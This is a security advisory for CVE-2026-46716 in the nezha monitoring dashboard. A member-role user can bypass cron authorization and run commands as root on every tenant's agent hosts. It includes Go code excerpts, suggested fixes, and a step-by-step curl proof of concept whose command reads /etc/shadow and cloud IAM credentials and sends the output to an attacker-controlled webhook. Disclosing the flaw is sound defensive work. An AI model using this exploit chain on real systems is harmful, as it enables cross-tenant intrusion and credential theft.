CVE-2026-46716

描述

## Summary `nezha`'s dashboard supports two user roles: `RoleAdmin` (Role==0) and `RoleMember` (Role==1). The cron routes `POST /api/v1/cron` and `PATCH /api/v1/cron/:id` are wired through `commonHandler` (any authenticated user) rather than `adminHandler`, and the per-server permission check on cron creation has a vacuous-true bypass. A `RoleMember` user can create a scheduled cron task with `Cover=CronCoverAll, Servers=[]` and an arbitrary `Command`. At every tick of the scheduler, the dashboard pushes that command to **every server in the global `ServerShared` map** — including servers that belong to other tenants (admin's servers, other members' servers). Each agent runs the command and returns the output, which is then sent to the attacker's own NotificationGroup → attacker-controlled webhook. Net effect: any `RoleMember` (including a self-bound OAuth2 user, if the dashboard has OAuth2 configured) gets pre-validated cross-tenant RCE on every nezha-monitored host in the deployment. ## Affected versions Commit `50dc8e660326b9f22990898142c58b7a5312b42a` and earlier on `master`. ## The auth gate ```go // cmd/dashboard/controller/controller.go:131-135 auth.GET("/cron", listHandler(listCron)) auth.POST("/cron", commonHandler(createCron)) // <-- commonHandler, not adminHandler auth.PATCH("/cron/:id", commonHandler(updateCron)) // <-- ditto auth.GET("/cron/:id/manual", commonHandler(manualTriggerCron)) auth.POST("/batch-delete/cron", commonHandler(batchDeleteCron)) ``` Compare with `/user` (adminHandler-gated). `commonHandler` (controller.go:214-218) only requires JWT auth — any role passes. ## The vacuous-true permission bypass ```go // cmd/dashboard/controller/cron.go:45-85 func createCron(c *gin.Context) (uint64, error) { var cf model.CronForm var cr model.Cron if err := c.ShouldBindJSON(&cf); err != nil { return 0, err } // BUG: empty cf.Servers iterates zero items, returns true vacuously. if !singleton.ServerShared.CheckPermission(c, slices.Values(cf.Servers)) { return 0, singleton.Localizer.ErrorT("permission denied") } cr.UserID = getUid(c) cr.TaskType = cf.TaskType cr.Name = cf.Name cr.Scheduler = cf.Scheduler cr.Command = cf.Command // <-- attacker-controlled shell cr.Servers = cf.Servers // <-- empty [] cr.PushSuccessful = cf.PushSuccessful cr.NotificationGroupID = cf.NotificationGroupID cr.Cover = cf.Cover // <-- CronCoverAll = 1 if cr.TaskType == model.CronTypeCronTask && cr.Cover == model.CronCoverAlertTrigger { return 0, singleton.Localizer.ErrorT("scheduled tasks cannot be triggered by alarms") } var err error if cf.TaskType == model.CronTypeCronTask { if cr.CronJobID, err = singleton.CronShared.AddFunc(cr.Scheduler, singleton.CronTrigger(&cr)); err != nil { return 0, err } } if err = singleton.DB.Create(&cr).Error; err != nil { return 0, newGormError("%v", err) } singleton.CronShared.Update(&cr) return cr.ID, nil } ``` `ServerShared.CheckPermission` (singleton.go:249-261) iterates `idList`; with `cf.Servers == []`, the for-range runs zero times and returns `true`. So a member can submit a cron with `Servers=[]` and skip the permission check entirely. ## The cross-tenant fanout sink ```go // service/singleton/crontask.go:133-181 func CronTrigger(cr *model.Cron, triggerServer ...uint64) func() { crIgnoreMap := make(map[uint64]bool) for _, server := range cr.Servers { crIgnoreMap[server] = true } return func() { if cr.Cover == model.CronCoverAlertTrigger { // ... (alert-only path; not used here) return } // BUG: iterates EVERY server in global state, no per-server permission check. for _, s := range ServerShared.Range { if cr.Cover == model.CronCoverAll && crIgnoreMap[s.ID] { continue // skip ignored } if cr.Cover == model.CronCoverIgnoreAll && !crIgnoreMap[s.ID] { continue } if s.TaskStream != nil { s.TaskStream.Send(&pb.Task{ Id: cr.ID, Data: cr.Command, // <-- shell command, run as agent UID (often root) Type: model.TaskTypeCommand, }) } } } } ``` Compare with the **service**-task path, which DOES gate per-server (`canSendTaskToServer` at `cmd/dashboard/rpc/rpc.go:179-190` enforces `task.UserID == server.UserID || taskOwnerIsAdmin`). The cron path skips that check entirely. ## The output-exfil channel ```go // service/rpc/nezha.go:56-76 case model.TaskTypeCommand: cr, _ := singleton.CronShared.Get(result.GetId()) if cr != nil { var curServer model.Server copier.Copy(&curServer, server) if cr.PushSuccessful && result.GetSuccessful() { singleton.NotificationShared.SendNotification(cr.NotificationGroupID, fmt.Sprintf("[%s] %s, %s\n%s", singleton.Localizer.T("Scheduled Task Executed Successfully"), cr.Name, server.Name, result.GetData()), "", &curServer) } if !result.GetSuccessful() { singleton.NotificationShared.SendNotification(cr.NotificationGroupID, fmt.Sprintf("[%s] %s, %s\n%s", singleton.Localizer.T("Scheduled Task Executed Failed"), cr.Name, server.Name, result.GetData()), "", &curServer) } } ``` `result.GetData()` is the agent's stdout/stderr. With `cr.PushSuccessful = true` set by the attacker, the command output is exfil'd to whatever NotificationGroup the attacker chose. Members can create their own Notifications (Webhook-type via `POST /api/v1/notification`) and Groups (`POST /api/v1/notification-group`), and these are owned by the member — `NotificationShared.CheckPermission` passes. So the attacker creates a member-owned webhook pointing at `https://attacker.example.com/exfil`, then references it in the cron. ## End-to-end PoC Pre-conditions: attacker has `RoleMember` credentials. Either admin gave them an account, or the dashboard has OAuth2 self-bind enabled. Step 0: Get JWT (standard login). ```bash TOKEN=$(curl -sX POST -H 'Content-Type: application/json' \ -d '{"username":"member","password":"hunter2"}' \ http://nezha.example.com/api/v1/login | jq -r .token) ``` Step 1: Create a webhook notification + group owned by the member, pointing at attacker server. ```bash NID=$(curl -sX POST -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \ -d '{"name":"x","url":"https://webhook.site/<attacker>","request_method":2,"request_type":1,"verify_tls":false,"skip_check":true}' \ http://nezha.example.com/api/v1/notification | jq -r .data) GID=$(curl -sX POST -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \ -d "{\"name\":\"g\",\"notifications\":[$NID]}" \ http://nezha.example.com/api/v1/notification-group | jq -r .data) ``` Step 2: Create the cross-tenant cron. ```bash curl -sX POST -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \ -d "{\"name\":\"x\",\"task_type\":0,\"scheduler\":\"*/1 * * * * *\",\"command\":\"id; hostname; cat /etc/shadow; curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/\",\"servers\":[],\"cover\":1,\"push_successful\":true,\"notification_group_id\":$GID}" \ http://nezha.example.com/api/v1/cron ``` Step 3: Within ~1 second, every monitored agent in the deployment runs the command and pushes output to the attacker's webhook with the per-server hostname. From `c1c1cd1.../webhook.site/<attacker>`: ``` [Scheduled Task Executed Successfully] x, admin-prod-db-01 uid=0(root) gid=0(root) groups=0(root) admin-prod-db-01.internal root:$6$KfTdXrLP$... ASIAEXAMPLEACCESSKEY|aws.example.secret.key|aws.example.session.token ``` (Output is shown for each of the N agents in the deployment, one webhook fire per agent.) ## Reachability — additional notes - Default deployment: there is no requirement that an admin even creates a member account explicitly — the dashboard may have OAuth2 self-registration via `singleton.Conf.Oauth2[provider]`. If admin enables OAuth2 auto-bind, any GitHub user can become a member; combined with this bug, that's near-pre-auth RCE. - The nezha agent typically runs as **root** (it monitors disk/CPU/processes that require root on Linux); see https://nezha.wiki for the standard install script that uses `sudo systemctl`. - The attack works whether `Cover=CronCoverAll` (deny-list, empty) or `Cover=CronCoverIgnoreAll` (allow-list — but you'd need server IDs you don't own, which requires a separate enumeration step). `Cover=CronCoverAll, Servers=[]` is the simplest payload. ## Suggested fix 1. **Switch `/cron` writes to `adminHandler`.** Same fix as the `/user` and `/setting` routes already use. ```go auth.POST("/cron", adminHandler(createCron)) auth.PATCH("/cron/:id", adminHandler(updateCron)) auth.GET("/cron/:id/manual", adminHandler(manualTriggerCron)) auth.POST("/batch-delete/cron", adminHandler(batchDeleteCron)) ``` 2. **Per-server permission gate in `CronTrigger`.** Defense-in-depth: even an admin should not push a cron task to a server they don't own. Add the equivalent of `canSendTaskToServer(task, server)` (already used in `service/rpc/rpc.go:179-190` for service tasks) before each `s.TaskStream.Send()`: ```go for _, s := range ServerShared.Range { if cr.UserID != s.UserID && !cronOwnerIsAdmin(cr) { continue } // ... existing send logic } ``` 3. **Reject empty `Servers` for `Cover=CronCoverAll`.** A deny-list with zero entries blasting an unrestricted command at every host is dangerous regardless of role: ```go if cf.Cover == model.CronCoverAll && len(cf.Servers) == 0 { return 0, errors.New("a cover-all cron must explicitly list at least one ignored server") } ``` 4. Optional: forbid `cf.PushSuccessful=true` for non-admin to slow down the output-exfil step. ## Severity - **CVSS 3.1:** Critical — `AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H` ≈ 9.0. - PR:L because attacker needs `RoleMember` (admin-issued, or OAuth2 auto-bind). - S:C because compromise of the dashboard yields RCE on every connected agent host (a separate trust zone). - C/I/A:H because RCE-as-root is the primary impact. - **Auth:** authenticated `RoleMember` (Role == 1). - **CWE:** CWE-862 (Missing Authorization), CWE-78 (OS Command Injection), CWE-269 (Improper Privilege Management). ## Reproduction environment - Tested against: `nezhahq/nezha` master @ `50dc8e660326b9f22990898142c58b7a5312b42a`. - Code locations: - Auth gate: `cmd/dashboard/controller/controller.go:131-135` (commonHandler), 214-236 (handler defs) - Bypass: `cmd/dashboard/controller/cron.go:53-55` (vacuous-true `CheckPermission` on empty `cf.Servers`) - Sink: `service/singleton/crontask.go:133-181` (`CronTrigger` iterates all servers) - Output exfil: `service/rpc/nezha.go:56-76` - Comparison (correct gating): `cmd/dashboard/rpc/rpc.go:179-190` (`canSendTaskToServer` for service tasks) ## Reporter Eddie Ran. Filed via the GitHub Security Advisory reporter API. nezha's `SECURITY.md` mentions email `[email protected]`; happy to follow up there if the maintainer prefers email coordination. This is a follow-up to the same auth-bypass class as `GHSA-w4g9-mxgg-j532` (NEZHA-001 — `/notification` SSRF, also commonHandler-gated). The cron path is materially worse because it produces RCE rather than SSRF. --- ## Companion finding: nezhahq/agent plaintext gRPC channel (NEZHA-AGENT-001) Filing channel issue: `nezhahq/agent` has private vulnerability reporting disabled (verified via `GET /repos/nezhahq/agent/private-vulnerability-reporting`), so I cannot file the companion finding via the GHSA reporter API. Adding it here so it lands in the same maintainer triage thread. **Summary.** The dashboard→agent control channel uses plaintext gRPC by default. `agentConfig.TLS` zero-value is `false`; the install script's `[y/N]` prompt defaults to `false`. `AuthHandler.RequireTransportSecurity()` returns `false`. An on-path attacker on the dashboard↔agent network path captures `client_secret`+`client_uuid`, terminates the agent's TCP connection, and injects a `CommandTask` over plaintext gRPC. The agent runs the task via `sh -c <attacker-string>` as the systemd-installed UID (typically root). **Adjacent-network attack vector** (corp LAN, datacenter VLAN, cloud VPC peer, hostile WiFi for self-hosters). **Why filable.** This *completes the threat model* for the dashboard-side findings (NEZHA-001 / -002 / -003) — those findings all implicitly assume a trusted dashboard→agent channel. NEZHA-AGENT-001 disproves that assumption: a co-resident network attacker (no auth required) gets root on every agent host, with no dashboard compromise needed. **Severity:** High (CVSS ~7.5, AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H). Adjacent-network reach + RCE-as-root, post-pwn fanout to every monitored host. **Suggested fix.** 1. Make TLS the install-script default (`[Y/n]`) instead of `[y/N]`. 2. Even if operator opts out of CA-issued TLS, generate a self-signed cert pinned to the dashboard's published key on first connect; refuse plaintext. 3. Add `AuthHandler.RequireTransportSecurity()` returning `true` unconditionally. 4. Document this as a **must-enable** in the agent install README. Disclosure draft is on file in the moneyhunter campaign workspace under `findings/NEZHA-AGENT-001-DISCLOSURE.md` and `findings/NEZHA-AGENT-001.yaml` — happy to share by whatever channel the maintainer prefers (these are deliverable as a single coordinated email or as a fork-PR-with-private-collaboration if PVR gets enabled on `nezhahq/agent`). — Eddie Ran

受影響套件(1)

• Go/github.com/nezhahq/nezha>= 1.4.0, < 1.14.15-0.20260517022419-d7526351cf97

CVSS 分數

參考連結(2)

• PATCHhttps://github.com/nezhahq/nezha
• WEBhttps://github.com/nezhahq/nezha/security/advisories/GHSA-99gv-2m7h-3hh9